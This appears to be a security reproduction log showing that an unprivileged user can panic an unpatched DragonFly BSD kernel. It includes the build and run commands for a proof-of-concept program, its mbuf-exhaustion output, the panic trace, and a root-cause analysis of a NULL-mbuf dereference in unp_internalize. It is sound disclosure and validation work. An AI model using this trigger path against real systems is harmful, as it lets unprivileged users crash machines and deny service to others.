=========================================================================
DF-0011 — BASELINE reproduction on UNPATCHED kernel #0
=========================================================================
Kernel: DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026
        root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC

Build:
$ cc -o nopasscred_panic nopasscred_panic.c -lpthread
BUILD_OK

Run (as unprivileged user maxx):
$ ./nopasscred_panic
[*] concurrent ramp+fire: pinning plain mbufs while trigger thread sends...
[*] 1 pairs, 342 dgrams pinned
[*] 9 pairs, 3078 dgrams pinned
[*] 17 pairs, 5814 dgrams pinned
[*] 25 pairs, 8550 dgrams pinned
[*] 33 pairs, 11286 dgrams pinned
[*] 41 pairs, 14022 dgrams pinned
[*] 49 pairs, 16758 dgrams pinned
[*] 57 pairs, 19494 dgrams pinned
[*] 65 pairs, 22230 dgrams pinned
[*] 73 pairs, 24966 dgrams pinned
[*] 81 pairs, 27702 dgrams pinned
[*] 89 pairs, 30438 dgrams pinned
[*] 97 pairs, 33174 dgrams pinned
[*] 105 pairs, 35910 dgrams pinned
[*] 113 pairs, 38646 dgrams pinned
[*] 121 pairs, 41382 dgrams pinned
[*] 129 pairs, 44118 dgrams pinned
[*] 137 pairs, 46854 dgrams pinned
[*] 145 pairs, 49590 dgrams pinned
[*] 153 pairs, 52326 dgrams pinned
[*] 161 pairs, 55062 dgrams pinned
[*] 169 pairs, 57798 dgrams pinned
[*] 177 pairs, 60534 dgrams pinned
[*] 185 pairs, 63270 dgrams pinned
[*] 193 pairs, 66006 dgrams pinned
[*] 201 pairs, 68742 dgrams pinned
[*] 209 pairs, 71478 dgrams pinned
[*] 217 pairs, 74214 dgrams pinned
[*] 225 pairs, 76950 dgrams pinned
(ssh killed by timeout at ~100s — KERNEL PANICKED)

Serial console (dfbsd-qemu/boot.log) captured the panic:

  login: Warning: objcache(mbuf) exhausted on cpu0!
  Fatal user address access from kernel mode from nopasscred_panic at ffffffff806ce3b1


  Fatal trap 12: page fault while in kernel mode
  cpuid = 0; lapic id = 0
  fault virtual address	= 0x10
  fault code		= supervisor read data, page not present
  instruction pointer	= 0x8:0xffffffff806ce3b1
  stack pointer	        = 0x10:0xfffff80118309568
  frame pointer	        = 0x10:0xfffff801183095a8
  code segment		= base 0x0, limit 0xfffff, type 0x1b
  			= DPL 0, pres 1, long 0, def32 0, gran 1
  processor eflags	= interrupt enabled, resume, IOPL = 0
  current process		= 881
  current thread          = pri 6
  kernel: type 12 trap, code=0

  CPU0 stopping CPUs: 0x0000003e
   stopped
  Stopped at      unp_internalize.isra.12+0x11:   movq    0x10(%rdi),%rbx
  db>

Guest DOWN at DDB db> prompt. vm.sh reset with-src to recover.

Signature analysis:
  - "Warning: objcache(mbuf) exhausted" => plain mbuf objcache returned NULL
    to sbcreatecontrol()'s m_get(M_NOWAIT, MT_CONTROL) call.
  - "fault virtual address = 0x10" => offsetof(struct m_hdr, mh_data) == 0x10
    (mh_next[8] + mh_nextpkt[8] + mh_data). The mtod(control, ...) load in
    unp_internalize reads mh_data from a NULL mbuf pointer.
  - "Stopped at unp_internalize.isra.12+0x11: movq 0x10(%rdi),%rbx" with
    %rdi == 0 (NULL control mbuf) => exactly the deref at uipc_usrreq.c:1706.
  - "from nopasscred_panic" => unprivileged trigger process (maxx, uid 1001).

This matches the cited path (sys/kern/uipc_usrreq.c:694-699 unchecked
sbcreatecontrol return -> :1706 mtod(NULL) deref) exactly. Reproduced.